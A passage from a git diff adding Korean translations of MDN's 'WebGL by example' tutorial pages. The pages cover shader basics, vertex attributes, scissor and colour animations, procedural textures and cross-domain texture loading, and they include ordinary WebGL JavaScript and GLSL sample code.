+  gl.shaderSource(fragmentShader,source);
+  gl.compileShader(fragmentShader);
+  program = gl.createProgram();
+  gl.attachShader(program, vertexShader);
+  gl.attachShader(program, fragmentShader);
+  gl.linkProgram(program);
+  gl.detachShader(program, vertexShader);
+  gl.detachShader(program, fragmentShader);
+  gl.deleteShader(vertexShader);
+  gl.deleteShader(fragmentShader);
+  if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
+    var linkErrLog = gl.getProgramInfoLog(program);
+    cleanup();
+    document.querySelector("p").innerHTML =
+      "Shader program did not link successfully. "
+      + "Error log: " + linkErrLog;
+    return;
+  }
+
+  initializeAttributes();
+
+  gl.useProgram(program);
+  gl.drawArrays(gl.POINTS, 0, 1);
+
+  cleanup();
+}
+
+var buffer;
+function initializeAttributes() {
+  gl.enableVertexAttribArray(0);
+  buffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+  gl.vertexAttribPointer(0, 1, gl.FLOAT, false, 0, 0);
+}
+
+function cleanup() {
+gl.useProgram(null);
+if (buffer)
+  gl.deleteBuffer(buffer);
+if (program)
+  gl.deleteProgram(program);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: js">function getRenderingContext() {
+  var canvas = document.querySelector("canvas");
+  canvas.width = canvas.clientWidth;
+  canvas.height = canvas.clientHeight;
+  var gl = canvas.getContext("webgl")
+    || canvas.getContext("experimental-webgl");
+  if (!gl) {
+    var paragraph = document.querySelector("p");
+    paragraph.innerHTML = "Failed to get WebGL context."
+      + "Your browser or device may not support WebGL.";
+    return null;
+  }
+  gl.viewport(0, 0,
+    gl.drawingBufferWidth, gl.drawingBufferHeight);
+  gl.clearColor(0.0, 0.0, 0.0, 1.0);
+  gl.clear(gl.COLOR_BUFFER_BIT);
+  return gl;
+}
+</pre>
+</div>
+
+<div class="hidden">
+<pre class="brush: js">})();
+</pre>
+</div>
+
+<p>The source code of this example is also available on <a href="https://github.com/idofilin/webgl-by-example/tree/master/hello-glsl">GitHub</a>.</p>
+</div>
+</div>
+
+<p>{{PreviousNext("Learn/WebGL/By_example/Raining_rectangles","Learn/WebGL/By_example/Hello_vertex_attributes")}}</p>
diff --git a/files/ko/web/api/webgl_api/by_example/hello_vertex_attributes/index.html b/files/ko/web/api/webgl_api/by_example/hello_vertex_attributes/index.html
new file mode 100644
index 0000000000..6d4ad29fe1
--- /dev/null
+++ b/files/ko/web/api/webgl_api/by_example/hello_vertex_attributes/index.html
@@ -0,0 +1,181 @@
+---
+title: Hello vertex attributes
+slug: Web/API/WebGL_API/By_example/Hello_vertex_attributes
+translation_of: Web/API/WebGL_API/By_example/Hello_vertex_attributes
+---
+<div>{{IncludeSubnav("/en-US/Learn")}}</div>
+
+<p>{{PreviousNext("Learn/WebGL/By_example/Hello_GLSL","Learn/WebGL/By_example/Textures_from_code")}}</p>
+
+<div id="hello-vertex-attributes">
+<div class="summary">
+<p id="hello-vertex-attributes-summary">쉐이더 프로그래밍과 유저 인터페이스를 정점 속성을 이용하여 합치기.</p>
+</div>
+
+<p>{{EmbedLiveSample("hello-vertex-attributes-source",660,425)}}</p>
+
+<div id="hello-vertex-attributes-intro">
+<h3 id="Hello_World_program_in_GLSL">Hello World program in GLSL</h3>
+
+<p>어떻게 GPU 메모리에 데이터를 저장함으로써 쉐이더 프로그램에 입력 값을 넣을 수 있을까? </p>
+</div>
+
+<div id="hello-vertex-attributes-source">
+<div class="hidden">
+<pre class="brush: html">&lt;p&gt;First encounter with attributes and sending data to GPU. Click
+on the canvas to change the horizontal position of the square.&lt;/p&gt;
+</pre>
+
+<pre class="brush: html">&lt;canvas&gt;Your browser does not seem to support
+    HTML5 canvas.&lt;/canvas&gt;
+</pre>
+
+<pre class="brush: css">body {
+  text-align : center;
+}
+canvas {
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+button {
+  display : block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;script type="x-shader/x-vertex" id="vertex-shader"&gt;
+#version 100
+precision highp float;
+
+attribute float position;
+
+void main() {
+  gl_Position = vec4(position, 0.0, 0.0, 1.0);
+  gl_PointSize = 64.0;
+}
+&lt;/script&gt;
+</pre>
+
+<pre class="brush: html">&lt;script type="x-shader/x-fragment" id="fragment-shader"&gt;
+#version 100
+precision mediump float;
+void main() {
+  gl_FragColor = vec4(0.18, 0.54, 0.34, 1.0);
+}
+&lt;/script&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: js">;(function(){
+</pre>
+</div>
+
+<pre class="brush: js" id="livesample-js">"use strict"
+window.addEventListener("load", setupWebGL, false);
+var gl,
+  program;
+function setupWebGL (evt) {
+  window.removeEventListener(evt.type, setupWebGL, false);
+  if (!(gl = getRenderingContext()))
+    return;
+
+  var source = document.querySelector("#vertex-shader").innerHTML;
+  var vertexShader = gl.createShader(gl.VERTEX_SHADER);
+  gl.shaderSource(vertexShader,source);
+  gl.compileShader(vertexShader);
+  source = document.querySelector("#fragment-shader").innerHTML
+  var fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
+  gl.shaderSource(fragmentShader,source);
+  gl.compileShader(fragmentShader);
+  program = gl.createProgram();
+  gl.attachShader(program, vertexShader);
+  gl.attachShader(program, fragmentShader);
+  gl.linkProgram(program);
+  gl.detachShader(program, vertexShader);
+  gl.detachShader(program, fragmentShader);
+  gl.deleteShader(vertexShader);
+  gl.deleteShader(fragmentShader);
+  if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
+    var linkErrLog = gl.getProgramInfoLog(program);
+    cleanup();
+    document.querySelector("p").innerHTML =
+      "Shader program did not link successfully. "
+      + "Error log: " + linkErrLog;
+    return;
+  }
+
+  initializeAttributes();
+  gl.useProgram(program);
+  gl.drawArrays(gl.POINTS, 0, 1);
+
+  document.querySelector("canvas").addEventListener("click",
+    function (evt) {
+      var clickXrelativToCanvas =
+          evt.pageX - evt.target.offsetLeft;
+      var clickXinWebGLCoords =
+          2.0 * (clickXrelativToCanvas- gl.drawingBufferWidth/2)
+          / gl.drawingBufferWidth;
+      gl.bufferData(gl.ARRAY_BUFFER,
+        new Float32Array([clickXinWebGLCoords]), gl.STATIC_DRAW);
+      gl.drawArrays(gl.POINTS, 0, 1);
+    }, false);
+}
+
+var buffer;
+function initializeAttributes() {
+  gl.enableVertexAttribArray(0);
+  buffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([0.0]), gl.STATIC_DRAW);
+  gl.vertexAttribPointer(0, 1, gl.FLOAT, false, 0, 0);
+}
+
+window.addEventListener("beforeunload", cleanup, true);
+function cleanup() {
+  gl.useProgram(null);
+  if (buffer)
+    gl.deleteBuffer(buffer);
+  if (program)
+    gl.deleteProgram(program);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: js">function getRenderingContext() {
+  var canvas = document.querySelector("canvas");
+  canvas.width = canvas.clientWidth;
+  canvas.height = canvas.clientHeight;
+  var gl = canvas.getContext("webgl")
+    || canvas.getContext("experimental-webgl");
+  if (!gl) {
+    var paragraph = document.querySelector("p");
+    paragraph.innerHTML = "Failed to get WebGL context."
+      + "Your browser or device may not support WebGL.";
+    return null;
+  }
+  gl.viewport(0, 0,
+    gl.drawingBufferWidth, gl.drawingBufferHeight);
+  gl.clearColor(0.0, 0.0, 0.0, 1.0);
+  gl.clear(gl.COLOR_BUFFER_BIT);
+  return gl;
+}
+</pre>
+</div>
+
+<div class="hidden">
+<pre class="brush: js">})();
+</pre>
+</div>
+
+<p>The source code of this example is also available on <a href="https://github.com/idofilin/webgl-by-example/tree/master/hello-vertex-attributes">GitHub</a>.</p>
+</div>
+</div>
+
+<p>{{PreviousNext("Learn/WebGL/By_example/Hello_GLSL","Learn/WebGL/By_example/Textures_from_code")}}</p>
diff --git a/files/ko/web/api/webgl_api/by_example/index.html b/files/ko/web/api/webgl_api/by_example/index.html
new file mode 100644
index 0000000000..c7fd3dcd4a
--- /dev/null
+++ b/files/ko/web/api/webgl_api/by_example/index.html
@@ -0,0 +1,83 @@
+---
+title: WebGL by example
+slug: Web/API/WebGL_API/By_example
+tags:
+  - Beginner
+  - Example
+  - Graphics
+  - Learn
+  - NeedsTranslation
+  - TopicStub
+  - WebGL
+translation_of: Web/API/WebGL_API/By_example
+---
+<div>{{IncludeSubnav("/en-US/Learn")}}</div>
+
+<p>{{Next("Learn/WebGL/By_example/Detect_WebGL")}}</p>
+
+<div id="webgl-by-example">
+<div class="summary">
+<p><em>WebGL by example</em> is a series of live samples with short explanations that showcase WebGL concepts and capabilities. The examples are sorted according to topic and level of difficulty, covering the WebGL rendering context, shader programming, textures, geometry, user interaction, and more.</p>
+</div>
+
+<div id="webgl-by-example-big-list">
+<h2 id="Examples_by_topic">Examples by topic</h2>
+
+<p>The examples are sorted in order of increasing difficulty. But rather than just presenting them in a single long list, they are additionally divided into topics. Sometimes we revisit a topic several times, such as when needing to discuss it initially at a basic level, and later at intermediate and advanced levels.</p>
+
+<p>Instead of trying to juggle shaders, geometry, and working with {{Glossary("GPU")}} memory, already in the first program, the examples here explore WebGL in an incremental way. We believe that it leads to a more effective learning experience and ultimately a deeper understanding of the underlying concepts.</p>
+
+<p>Explanations about the examples are found in both the main text and in comments within the code. You should read all comments, because more advanced examples could not repeat comments about parts of the code that were previously explained.</p>
+
+<div>
+<h3 id="Getting_to_know_the_rendering_context">Getting to know the rendering context</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/WebGL/By_example/Detect_WebGL">Detect WebGL</a></dt>
+ <dd>This example demonstrates how to detect a {{Glossary("WebGL")}} rendering context and reports the result to the user.</dd>
+ <dt><a href="/en-US/docs/Learn/WebGL/By_example/Clearing_with_colors">Clearing with colors</a></dt>
+ <dd>How to clear the rendering context with a solid color.</dd>
+ <dt><a href="/en-US/docs/Learn/WebGL/By_example/Clearing_by_clicking">Clearing by clicking</a></dt>
+ <dd>How to combine user interaction with graphics operations. Clearing the rendering context with a random color when the user clicks.</dd>
+ <dt><a href="/en-US/docs/Learn/WebGL/By_example/Simple_color_animation">Simple color animation</a></dt>
+ <dd>A very basic color animation, done by clearing the {{Glossary("WebGL")}} drawing buffer with a different random color every second.</dd>
+ <dt><a href="/en-US/docs/Learn/WebGL/By_example/Color_masking">Color masking</a></dt>
+ <dd>Modifying random colors by applying color masking and thus limiting the range of displayed colors to specific shades.</dd>
+ <dt><a href="/en-US/docs/Learn/WebGL/By_example/Basic_scissoring">Basic scissoring</a></dt>
+ <dd>How to draw simple rectangles and squares with scissoring operations.</dd>
+ <dt><a href="/en-US/docs/Learn/WebGL/By_example/Canvas_size_and_WebGL">Canvas size and WebGL</a></dt>
+ <dd>The example explores the effect of setting (or not setting) the canvas size to its element size in {{Glossary("CSS")}} pixels, as it appears in the browser window.</dd>
+ <dt><a href="/en-US/docs/Learn/WebGL/By_example/Boilerplate_1">Boilerplate 1</a></dt>
+ <dd>The example describes repeated pieces of code that will be hidden from now on, as well as defining a JavaScript utility function to make WebGL initialization easier.</dd>
+ <dt><a href="/en-US/docs/Learn/WebGL/By_example/Scissor_animation">Scissor animation</a></dt>
+ <dd>Some animation fun with scissoring and clearing operations.</dd>
+ <dt><a href="/en-US/docs/Learn/WebGL/By_example/Raining_rectangles">Raining rectangles</a></dt>
+ <dd>A simple game that demonstrates clearing with solid colors, scissoring, animation, and user interaction.</dd>
+</dl>
+</div>
+
+<div>
+<h3 id="Shader_programming_basics">Shader programming basics</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/WebGL/By_example/Hello_GLSL">Hello GLSL</a></dt>
+ <dd>A very basic shader program that draws a solid color square.</dd>
+ <dt><a href="/en-US/docs/Learn/WebGL/By_example/Hello_vertex_attributes">Hello vertex attributes</a></dt>
+ <dd>Combining shader programming and user interaction through vertex attributes.</dd>
+ <dt><a href="/en-US/docs/Learn/WebGL/By_example/Textures_from_code">Textures from code</a></dt>
+ <dd>A simple demonstration of procedural texturing with fragment shaders.</dd>
+</dl>
+</div>
+
+<div>
+<h3 id="Miscellaneous_advanced_examples">Miscellaneous advanced examples</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/WebGL/By_example/Video_textures">Video textures</a></dt>
+ <dd>This example demonstrates how to use video files as textures.</dd>
+</dl>
+</div>
+</div>
+</div>
+
+<p>{{Next("Learn/WebGL/By_example/Detect_WebGL")}}</p>
diff --git a/files/ko/web/api/webgl_api/by_example/scissor_animation/index.html b/files/ko/web/api/webgl_api/by_example/scissor_animation/index.html
new file mode 100644
index 0000000000..1b3748c9bc
--- /dev/null
+++ b/files/ko/web/api/webgl_api/by_example/scissor_animation/index.html
@@ -0,0 +1,166 @@
+---
+title: 애니메이션 잘라내기
+slug: Web/API/WebGL_API/By_example/Scissor_animation
+translation_of: Web/API/WebGL_API/By_example/Scissor_animation
+---
+<div>{{IncludeSubnav("/en-US/Learn")}}</div>
+
+<p>{{PreviousNext("Learn/WebGL/By_example/Boilerplate_1","Learn/WebGL/By_example/Raining_rectangles")}}</p>
+
+<div id="scissor-animation">
+<div class="summary">
+<p>활동을 청소하고 잘라내는 어떤 애니메이션 장난</p>
+</div>
+
+<p>{{EmbedLiveSample("scissor-animation-source",660,425)}}</p>
+
+<div>
+<h3 id="애니메이션_잘라내기">애니메이션 잘라내기</h3>
+
+<p>이번 예시에서는, 우리는 사각형을 {{domxref("WebGLRenderingContext.scissor()","scissor()")}} 와{{domxref("WebGLRenderingContext.clear()","clear()")}} 을 이용하여 그려볼 것입니다. 우리는 다시 애니메이션 루프를 타이머를 이용하여 구축할 것입니다. 이번에는 매 프레임(우리는 프레임 비율을 대강 매 17ms 마다 설정했습니다.) 대마다 업데이트 되는 사각형(잘라내는 영역)의 경우임을 주목하세요.</p>
+
+<p>반대로, 사각형의 색 ({{domxref("WebGLRenderingContext.clearColor()","clearColor")}}으로 설정되는)은 오직 새로운 사각형이 생성될 때만 업데이트 됩니다. 이것은 상태 머신으로써 {{Glossary("WebGL")}} 을 보여줄 좋은 데모입니다. 각 사각형에 대하여 우리는 그것의 색을 결정하고, 매 프레임마다 위치를 결정합니다. WebGl의 깨끗한 색 상태는 새로운 사각형이 생성되어 우리가 그것을 다시 바꿀 때까지 설정 값으로 남아있습니다.</p>
+</div>
+
+<div id="scissor-animation-source">
+<div class="hidden">
+<pre class="brush: html">&lt;p&gt;WebGL animation by clearing the drawing buffer with solid
+color and applying scissor test.&lt;/p&gt;
+&lt;button id="animation-onoff"&gt;
+  Press here to
+&lt;strong&gt;[verb goes here]&lt;/strong&gt;
+  the animation&lt;/button&gt;
+</pre>
+
+<pre class="brush: html">&lt;canvas&gt;Your browser does not seem to support
+    HTML5 canvas.&lt;/canvas&gt;
+</pre>
+
+<pre class="brush: css">body {
+  text-align : center;
+}
+canvas {
+  display : block;
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+button {
+  display : block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+</pre>
+</div>
+
+<div class="hidden">
+<pre class="brush: js">;(function(){
+</pre>
+</div>
+
+<pre class="brush: js" id="livesample-js">"use strict"
+window.addEventListener("load", setupAnimation, false);
+// Variables to hold the WebGL context, and the color and
+// position of animated squares.
+var gl,
+  color = getRandomColor(),
+  position;
+
+function setupAnimation (evt) {
+  window.removeEventListener(evt.type, setupAnimation, false);
+  if (!(gl = getRenderingContext()))
+    return;
+
+  gl.enable(gl.SCISSOR_TEST);
+  gl.clearColor(color[0], color[1], color[2], 1.0);
+  // Unlike the browser window, vertical position in WebGL is
+  // measured from bottom to top. In here we set the initial
+  // position of the square to be at the top left corner of the
+  // drawing buffer.
+  position = [0, gl.drawingBufferHeight];
+
+  var button = document.querySelector("button");
+  var timer;
+  function startAnimation(evt) {
+    button.removeEventListener(evt.type, startAnimation, false);
+    button.addEventListener("click", stopAnimation, false);
+    document.querySelector("strong").innerHTML = "stop";
+    timer = setInterval(drawAnimation, 17);
+    drawAnimation();
+  }
+  function stopAnimation(evt) {
+    button.removeEventListener(evt.type, stopAnimation, false);
+    button.addEventListener("click", startAnimation, false);
+    document.querySelector("strong").innerHTML = "start";
+    clearInterval(timer);
+  }
+  stopAnimation({type: "click"});
+}
+
+// Variables to hold the size and velocity of the square.
+var size = [60, 60],
+  velocity = 3.0;
+function drawAnimation () {
+  gl.scissor(position[0], position[1], size[0] , size[1]);
+  gl.clear(gl.COLOR_BUFFER_BIT);
+  // Every frame the vertical position of the square is
+  // decreased, to create the illusion of movement.
+  position[1] -= velocity;
+  // When the sqaure hits the bottom of the drawing buffer,
+  // we override it with new square of different color and
+  // velocity.
+  if (position[1] &lt; 0) {
+    // Horizontal position chosen randomly, and vertical
+    // position at the top of the drawing buffer.
+    position = [
+      Math.random()*(gl.drawingBufferWidth - size[0]),
+      gl.drawingBufferHeight
+    ];
+    // Random velocity between 1.0 and 7.0
+    velocity = 1.0 + 6.0*Math.random();
+    color = getRandomColor();
+    gl.clearColor(color[0], color[1], color[2], 1.0);
+  }
+}
+
+function getRandomColor() {
+  return [Math.random(), Math.random(), Math.random()];
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: js">function getRenderingContext() {
+  var canvas = document.querySelector("canvas");
+  canvas.width = canvas.clientWidth;
+  canvas.height = canvas.clientHeight;
+  var gl = canvas.getContext("webgl")
+    || canvas.getContext("experimental-webgl");
+  if (!gl) {
+    var paragraph = document.querySelector("p");
+    paragraph.innerHTML = "Failed to get WebGL context."
+      + "Your browser or device may not support WebGL.";
+    return null;
+  }
+  gl.viewport(0, 0,
+    gl.drawingBufferWidth, gl.drawingBufferHeight);
+  gl.clearColor(0.0, 0.0, 0.0, 1.0);
+  gl.clear(gl.COLOR_BUFFER_BIT);
+  return gl;
+}
+</pre>
+</div>
+
+<div class="hidden">
+<pre class="brush: js">})();
+</pre>
+</div>
+
+<p>The source code of this example is also available on <a href="https://github.com/idofilin/webgl-by-example/tree/master/scissor-animation">GitHub</a>.</p>
+</div>
+</div>
+
+<p>{{PreviousNext("Learn/WebGL/By_example/Boilerplate_1","Learn/WebGL/By_example/Raining_rectangles")}}</p>
diff --git a/files/ko/web/api/webgl_api/by_example/simple_color_animation/index.html b/files/ko/web/api/webgl_api/by_example/simple_color_animation/index.html
new file mode 100644
index 0000000000..a2e70de77c
--- /dev/null
+++ b/files/ko/web/api/webgl_api/by_example/simple_color_animation/index.html
@@ -0,0 +1,125 @@
+---
+title: 간단한 색깔 애니메이션
+slug: Web/API/WebGL_API/By_example/Simple_color_animation
+translation_of: Web/API/WebGL_API/By_example/Simple_color_animation
+---
+<div>{{IncludeSubnav("/en-US/Learn")}}</div>
+
+<p>{{PreviousNext("Learn/WebGL/By_example/Clearing_by_clicking","Learn/WebGL/By_example/Color_masking")}}</p>
+
+<div id="simple-color-animation">
+<div class="summary">
+<p>{{Glossary("WebGL")}} 를 청소함으로써 매 초 마다 랜덤 색이 버퍼에 그려지는 매우 기본적인 색깔 애니메이션.</p>
+</div>
+
+<p>{{EmbedLiveSample("simple-color-animation-source",660,425)}}</p>
+
+<div id="simple-color-animation-intro">
+<h3 id="청소_컬러_애니메이션">청소 &amp; 컬러 애니메이션</h3>
+
+<p>이 예시는 유저 인터페이스 뿐만 아니라, {{Glossary("WebGL")}}와 함께 간단한 컬러 애니메이션 설명을 제공합니다. 유저는 버튼을 클릭함으로써, 애니메이션을 시작하고, 종료하고, 다시시작할 수 있습니다.</p>
+
+<p>이번에 우리는 이벤트 핸들로 내부에서 {{Glossary("WebGL")}} 함수 콜을 넣을 것입니다. 클릭 이벤트 핸들러는 추가적으로 시작하고 멈추는 기본적인 유저 상호작용을 가능하게 합니다. 타이머와 타이머 핸들러 기능은 애니메이션 반복을 구축합니다. 애니메이션 반복은 일정한 주기로 실행되는 그리기 명령의 집합입니다.(일반적으로 모든 프레임; 이 경우 초당 1번)</p>
+</div>
+
+<div id="simple-color-animation-source">
+<pre class="brush: html">&lt;p&gt;A simple WebGL program that shows color animation.&lt;/p&gt;
+&lt;p&gt;You can click the button below to toggle the
+    color animation on or off.&lt;/p&gt;
+&lt;canvas id="canvas-view"&gt;Your browser does not seem to support
+    HTML5 canvas.&lt;/canvas&gt;
+&lt;button id="animation-onoff"&gt;
+  Press here to
+&lt;strong&gt;[verb goes here]&lt;/strong&gt;
+  the animation
+&lt;/button&gt;
+</pre>
+
+<pre class="brush: css">body {
+  text-align : center;
+}
+canvas {
+  display : block;
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+button {
+  display : inline-block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+</pre>
+
+<pre class="brush: js" id="livesample-js">window.addEventListener("load", function setupAnimation (evt) {
+  "use strict"
+  window.removeEventListener(evt.type, setupAnimation, false);
+
+  // A variable to hold a timer that drives the animation.
+  var timer;
+
+  // Click event handlers.
+  var button = document.querySelector("#animation-onoff");
+  var verb = document.querySelector("strong");
+  function startAnimation(evt) {
+    button.removeEventListener(evt.type, startAnimation, false);
+    button.addEventListener("click", stopAnimation, false);
+    verb.innerHTML="stop";
+    // Setup animation loop by redrawing every second.
+    timer = setInterval(drawAnimation, 1000);
+    // Give immediate feedback to user after clicking, by
+    // drawing one animation frame.
+    drawAnimation();
+  }
+  function stopAnimation(evt) {
+    button.removeEventListener(evt.type, stopAnimation, false);
+    button.addEventListener("click", startAnimation, false);
+    verb.innerHTML="start";
+    // Stop animation by clearing the timer.
+    clearInterval(timer);
+  }
+  // Call stopAnimation() once to setup the initial event
+  // handlers for canvas and button.
+  stopAnimation({type: "click"});
+
+  var gl;
+  function drawAnimation () {
+    if (!gl) {
+      var canvas = document.getElementById("canvas-view");
+      gl = canvas.getContext("webgl")
+        ||canvas.getContext("experimental-webgl");
+      if (!gl) {
+        clearInterval(timer);
+        alert("Failed to get WebGL context.\n"
+          + "Your browser or device may not support WebGL.");
+        return;
+      }
+      gl.viewport(0, 0,
+        gl.drawingBufferWidth, gl.drawingBufferHeight);
+    }
+
+    // Get a random color value using a helper function.
+    var color = getRandomColor();
+    // Set the WebGLRenderingContext clear color to the
+    // random color.
+    gl.clearColor(color[0], color[1], color[2], 1.0);
+    // Clear the context with the newly set color.
+    gl.clear(gl.COLOR_BUFFER_BIT);
+  }
+
+  // Random color helper function.
+  function getRandomColor() {
+    return [Math.random(), Math.random(), Math.random()];
+  }
+}, false);
+</pre>
+
+<p>The source code of this example is also available on <a href="https://github.com/idofilin/webgl-by-example/tree/master/simple-color-animation">GitHub</a>.</p>
+</div>
+</div>
+
+<p>{{PreviousNext("Learn/WebGL/By_example/Clearing_by_clicking","Learn/WebGL/By_example/Color_masking")}}</p>
diff --git a/files/ko/web/api/webgl_api/by_example/textures_from_code/index.html b/files/ko/web/api/webgl_api/by_example/textures_from_code/index.html
new file mode 100644
index 0000000000..75b7a68eb0
--- /dev/null
+++ b/files/ko/web/api/webgl_api/by_example/textures_from_code/index.html
@@ -0,0 +1,174 @@
+---
+title: 코드에서의 텍스쳐
+slug: Web/API/WebGL_API/By_example/Textures_from_code
+translation_of: Web/API/WebGL_API/By_example/Textures_from_code
+---
+<div>{{draft}} {{IncludeSubnav("/en-US/Learn")}}</div>
+
+<p>{{PreviousNext("Learn/WebGL/By_example/Hello_vertex_attributes","Learn/WebGL/By_example/Video_textures")}}</p>
+
+<div id="textures-from-code">
+<div class="summary">
+<p id="textures-from-code-summary">단편화된 쉐이더들과 함께 순차적으로 보여주는 간단한 데모</p>
+</div>
+
+<p>{{EmbedLiveSample("textures-from-code-source",660,425)}}</p>
+
+<div id="textures-from-code-intro">
+<h3 id="코드를_이용해_텍스쳐를_그리기">코드를 이용해 텍스쳐를 그리기</h3>
+
+<p>Texturing a point sprite with calculations done per-pixel in the fragment shader.</p>
+</div>
+
+<div id="textures-from-code-source">
+<div class="hidden">
+<pre class="brush: html">&lt;p&gt;Texture from code. Simple demonstration
+    of procedural texturing&lt;/p&gt;
+</pre>
+
+<pre class="brush: html">&lt;canvas&gt;Your browser does not seem to support
+    HTML5 canvas.&lt;/canvas&gt;
+</pre>
+
+<pre class="brush: css">body {
+  text-align : center;
+}
+canvas {
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+button {
+  display : block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;script type="x-shader/x-vertex" id="vertex-shader"&gt;
+#version 100
+precision highp float;
+
+attribute vec2 position;
+
+void main() {
+  gl_Position = vec4(position, 0.0, 1.0);
+  gl_PointSize = 128.0;
+}
+&lt;/script&gt;
+</pre>
+
+<pre class="brush: html">&lt;script type="x-shader/x-fragment" id="fragment-shader"&gt;
+#version 100
+precision mediump float;
+void main() {
+  vec2 fragmentPosition = 2.0*gl_PointCoord - 1.0;
+  float distance = length(fragmentPosition);
+  float distanceSqrd = distance * distance;
+  gl_FragColor = vec4(
+    0.2/distanceSqrd,
+    0.1/distanceSqrd,
+    0.0, 1.0 );
+}
+&lt;/script&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: js">;(function(){
+</pre>
+</div>
+
+<pre class="brush: js" id="livesample-js">"use strict"
+window.addEventListener("load", setupWebGL, false);
+var gl,
+  program;
+function setupWebGL (evt) {
+  window.removeEventListener(evt.type, setupWebGL, false);
+  if (!(gl = getRenderingContext()))
+    return;
+
+  var source = document.querySelector("#vertex-shader").innerHTML;
+  var vertexShader = gl.createShader(gl.VERTEX_SHADER);
+  gl.shaderSource(vertexShader,source);
+  gl.compileShader(vertexShader);
+  source = document.querySelector("#fragment-shader").innerHTML
+  var fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
+  gl.shaderSource(fragmentShader,source);
+  gl.compileShader(fragmentShader);
+  program = gl.createProgram();
+  gl.attachShader(program, vertexShader);
+  gl.attachShader(program, fragmentShader);
+  gl.linkProgram(program);
+  gl.detachShader(program, vertexShader);
+  gl.detachShader(program, fragmentShader);
+  gl.deleteShader(vertexShader);
+  gl.deleteShader(fragmentShader);
+  if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
+    var linkErrLog = gl.getProgramInfoLog(program);
+    cleanup();
+    document.querySelector("p").innerHTML =
+      "Shader program did not link successfully. "
+      + "Error log: " + linkErrLog;
+    return;
+  }
+  initializeAttributes();
+  gl.useProgram(program);
+  gl.drawArrays(gl.POINTS, 0, 1);
+  cleanup();
+}
+
+var buffer;
+function initializeAttributes() {
+  gl.enableVertexAttribArray(0);
+  buffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([0.0, 0.0]), gl.STATIC_DRAW);
+  gl.vertexAttribPointer(0, 2, gl.FLOAT, false, 0, 0);
+}
+
+function cleanup() {
+gl.useProgram(null);
+if (buffer)
+  gl.deleteBuffer(buffer);
+if (program)
+  gl.deleteProgram(program);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: js">function getRenderingContext() {
+  var canvas = document.querySelector("canvas");
+  canvas.width = canvas.clientWidth;
+  canvas.height = canvas.clientHeight;
+  var gl = canvas.getContext("webgl")
+    || canvas.getContext("experimental-webgl");
+  if (!gl) {
+    var paragraph = document.querySelector("p");
+    paragraph.innerHTML = "Failed to get WebGL context."
+      + "Your browser or device may not support WebGL.";
+    return null;
+  }
+  gl.viewport(0, 0,
+    gl.drawingBufferWidth, gl.drawingBufferHeight);
+  gl.clearColor(0.0, 0.0, 0.0, 1.0);
+  gl.clear(gl.COLOR_BUFFER_BIT);
+  return gl;
+}
+</pre>
+</div>
+
+<div class="hidden">
+<pre class="brush: js">})();
+</pre>
+</div>
+
+<p>The source code of this example is also available on <a href="https://github.com/idofilin/webgl-by-example/tree/master/textures-from-code">GitHub</a>.</p>
+</div>
+</div>
+
+<p>{{PreviousNext("Learn/WebGL/By_example/Hello_vertex_attributes","Learn/WebGL/By_example/Video_textures")}}</p>
diff --git a/files/ko/web/api/webgl_api/cross-domain_textures/index.html b/files/ko/web/api/webgl_api/cross-domain_textures/index.html
new file mode 100644
index 0000000000..17d781c01f
--- /dev/null
+++ b/files/ko/web/api/webgl_api/cross-domain_textures/index.html
@@ -0,0 +1,33 @@
+---
+title: 크로스-도메인 텍스쳐
+slug: Web/API/WebGL_API/Cross-Domain_Textures
+tags:
+  - WebGL
+  - 웹지엘
+  - 크로스 도메인
+  - 텍스쳐
+translation_of: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL#Cross-domain_textures
+---
+<p>WebGL 텍스쳐 로딩은 크로스-도메인 접근 규칙에 따라 제약을 받습니다. 여러분이 만든 컨텐츠에서 다른 도메인의 텍스쳐,<span style="line-height: 16.7999992370605px;"> 즉, 크로스-도메인 텍스쳐를 로딩</span>하려면 CORS 승인이 필요합니다. CORS에 대한 자세한 내용은 <a href="/En/HTTP_access_control">HTTP access control</a>을 참고하시기 바랍니다.</p>
+
+<p>CORS 승인된 이미지를 WebGL 텍스쳐에 사용하는 방법에 대한 설명은 <a href="http://hacks.mozilla.org/2011/11/using-cors-to-load-webgl-textures-from-cross-domain-images/">hacks.mozilla.org 문서</a>와 <a href="http://people.mozilla.org/~bjacob/webgltexture-cors-js.html">예제</a>를 참고하시기 바랍니다.</p>
+
+<blockquote>
+<p>역자 주 : 예제 링크가 깨져있는데, 원문에도 깨진 링크가 포함되어 있습니다.</p>
+</blockquote>
+
+<div class="note">
